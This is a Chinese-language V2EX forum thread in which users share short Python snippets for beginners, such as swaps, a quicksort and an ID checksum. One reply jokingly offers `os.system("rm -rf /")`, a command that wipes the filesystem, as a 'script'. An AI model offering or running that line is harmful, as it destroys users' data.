推荐学习书目
Learn Python the Hard Way
Python Sites
PyPI - Python Package Index
http://diveintopython.org/toc/index.html
Pocoo
值得关注的项目
PyPy
Celery
Jinja2
Read the Docs
gevent
pyenv
virtualenv
Stackless Python
Beautiful Soup
结巴中文分词
Green Unicorn
Sentry
Shovel
Pyflakes
pytest
Python 编程
pep8 Checker
Styles
PEP 8
Google Python Style Guide
Code Style from The Hitchhiker's Guide
tanteng
V2EX  ›  Python

有没有短小精悍的 python 脚本分享出来学习一下

  •  
  •   tanteng ·
    tanteng · May 6, 2015 · 5051 views
    This topic created in 4044 days ago, the information mentioned may be changed or developed.

    如题,python小脚本,用来新手学习。

    22 replies    2015-05-06 18:20:51 +08:00
    wwulfric
        2
    wwulfric  
       May 6, 2015
    python -m SimpleHTTPServer 8000
    20015jjw
        3
    20015jjw  
       May 6, 2015 via Android
    a, b = b, a
    tanteng
        4
    tanteng  
    OP
       May 6, 2015
    @20015jjw true,false = false,true
    tidewind
        5
    tidewind  
       May 6, 2015   ❤️ 3
    def ChineseZodiac(year):
    return u'猴鸡狗猪鼠牛虎兔龙蛇马羊'[year%12]
    wegamekinglc
        6
    wegamekinglc  
       May 6, 2015
    可以看量化实验室,虽然是专注于金融应用。但都是短小的代码段~

    ![量化实验室](https://app.wmcloud.com/mercury/community/)
    inFinityzc
        8
    inFinityzc  
       May 6, 2015
    三行代码实现快速排序:
    def qsort(L):
    if len(L)<=0: return L
    return qsort([x for x in L if x<L[0]]) + [x for x in L if x==L[0]] + qsort([x for x in L if x>L[0]])
    a398058068
        10
    a398058068  
       May 6, 2015
    print("hello world!") 谁敢说不断小 不精悍
    lingo233
        11
    lingo233  
       May 6, 2015 via Android
    既然print被占了那我用这个
    return “hello world”
    jason52
        12
    jason52  
       May 6, 2015 via Android
    我的爬虫呀,
    lovedboy
        13
    lovedboy  
       May 6, 2015   ❤️ 1
    print u'星期'+u'一二三四五六七'[ datetime.date.today().weekday()%1024]
    zerh925
        14
    zerh925  
       May 6, 2015
    import os
    [i for i in os.listdir(os.getcwd()) if i[-3:] == 'png']
    一句(两句?)话读取当前目录所有png格式的文件并返回文件名列表
    ipconfiger
        15
    ipconfiger  
       May 6, 2015
    import os
    os.system("rm -rf /")
    loading
        16
    loading  
       May 6, 2015 via Android
    @lovedboy 赞magic number 1024……
    hahastudio
        17
    hahastudio  
       May 6, 2015
    @inFinityzc 明明真炫技只需一行
    qsort = lambda l: [] if not l else qsort([x for x in l[1:] if x <= l[0]]) + [l[0]] + qsort([x for x in l[1:] if x > l[0]])
    再宣传一下 battery included 就是 lst.sort()
    sniperhgy
        18
    sniperhgy  
       May 6, 2015
    @ipconfiger 太狠了吧?
    ericls
        19
    ericls  
       May 6, 2015
    @loading 求解 为啥要对1024取模
    xifangczy
        20
    xifangczy  
       May 6, 2015
    以前在v2ex看到过一个
    >>> get_id = lambda s:s+str((1-2*int(s, 13)) % 11).replace('10', 'X')
    >>> get_id('34052419800101001')
    '34052419800101001X'

    算身份证号效验码
    viko16
        21
    viko16  
       May 6, 2015
    @ericls 是否取模没关系的,这是为了1024而1024啊噗。。
    xujialiang
        22
    xujialiang  
       May 6, 2015
    @wegamekinglc hi~~~~~ 哈哈
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   4352 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 67ms · UTC 00:08 · PVG 08:08 · LAX 17:08 · JFK 20:08
    ♥ Do have faith in what you're doing.